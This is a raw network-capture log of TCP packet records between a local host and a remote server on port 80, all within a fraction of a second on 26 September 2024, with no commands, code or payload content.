Sep 26, 2024 19:05:18.320794106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.320806026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.320826054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.320837975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.320853949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.320858955 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.320862055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.320873022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.320894003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.320919037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.320919037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.320945024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321094036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321105957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321125984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321141958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321156025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321166039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321233988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321244955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321254969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321275949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321288109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321302891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321302891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321309090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321331024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321346045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321357012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321357012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321360111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321388960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321552038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321635008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321646929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321667910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321693897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321693897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321717978 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321779966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321791887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321813107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321856022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321856022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321877956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321891069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321911097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321921110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321933031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321933031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321940899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321953058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321968079 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321968079 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321974039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321986914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.321999073 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.321999073 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322009087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322019100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322066069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322066069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322326899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322339058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322359085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322405100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322441101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322460890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322472095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322493076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322506905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322506905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322565079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322577000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322599888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322601080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322601080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322612047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322623014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322630882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322642088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322643995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322666883 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322674990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322674990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322679996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322691917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322695971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.322719097 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.322732925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323014021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323065996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323189020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323200941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323219061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323230982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323242903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323242903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323252916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323263884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323265076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323282957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323296070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323312044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323319912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323319912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323328018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323347092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323358059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323359966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323390007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323390007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323410034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323653936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323708057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323843002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323853970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323873043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323884964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323901892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323904037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323916912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323921919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323921919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323962927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323962927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.323970079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.323980093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324022055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324022055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324055910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324068069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324085951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324096918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324099064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324115038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324126005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324141026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324146986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324146986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324199915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324199915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324510098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324522018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324542046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324553967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324572086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324572086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324573994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324584961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324604034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324604988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324616909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324644089 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324819088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324841022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324852943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324873924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324881077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324881077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324889898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324899912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324908972 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324918985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324919939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324943066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.324947119 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324947119 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.324980974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325145006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325156927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325176954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325189114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325189114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325206995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325207949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325236082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325262070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325428963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325448990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325462103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325478077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325485945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325485945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325499058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325500011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325512886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325531006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.325539112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325539112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325551987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.325572014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407140970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407222033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407233000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407252073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407264948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407264948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407269001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407300949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407335043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407366991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407377005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407411098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407413960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407428980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407442093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407480001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407480001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407515049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407526970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407547951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407560110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407571077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407572031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407582045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407604933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407604933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407634020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407706976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407751083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407802105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407813072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407840967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407850981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407850981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407854080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407872915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407882929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407885075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407907009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407907009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407910109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407922029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.407943010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407943010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.407974958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408092022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408129930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408162117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408174038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408194065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408205032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408206940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408216953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408229113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408248901 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408248901 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408282042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408448935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408461094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408479929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408489943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408499002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408499002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408512115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408523083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408529997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408529997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408544064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408565998 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408565998 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408616066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408776999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408787966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408814907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408824921 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408824921 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408828020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408843994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408849001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408849955 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408866882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408869982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408883095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408900976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.408906937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408906937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408946991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.408946991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409193039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409204006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409223080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409234047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409241915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409241915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409254074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409265041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409265995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409285069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409286022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409286022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409310102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409343004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409470081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409481049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409486055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409512043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409524918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409533024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409533024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409538031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409559011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409580946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409580946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409607887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.409982920 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.409993887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410013914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410023928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410032988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410032988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410044909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410054922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410068035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410068035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410073996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410094023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410095930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410111904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410124063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410134077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410134077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410140038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410161018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410166025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410166025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410176039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410195112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410197020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410197020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410204887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410221100 CEST	49735	80	192.168.2.4	46.8.231.109
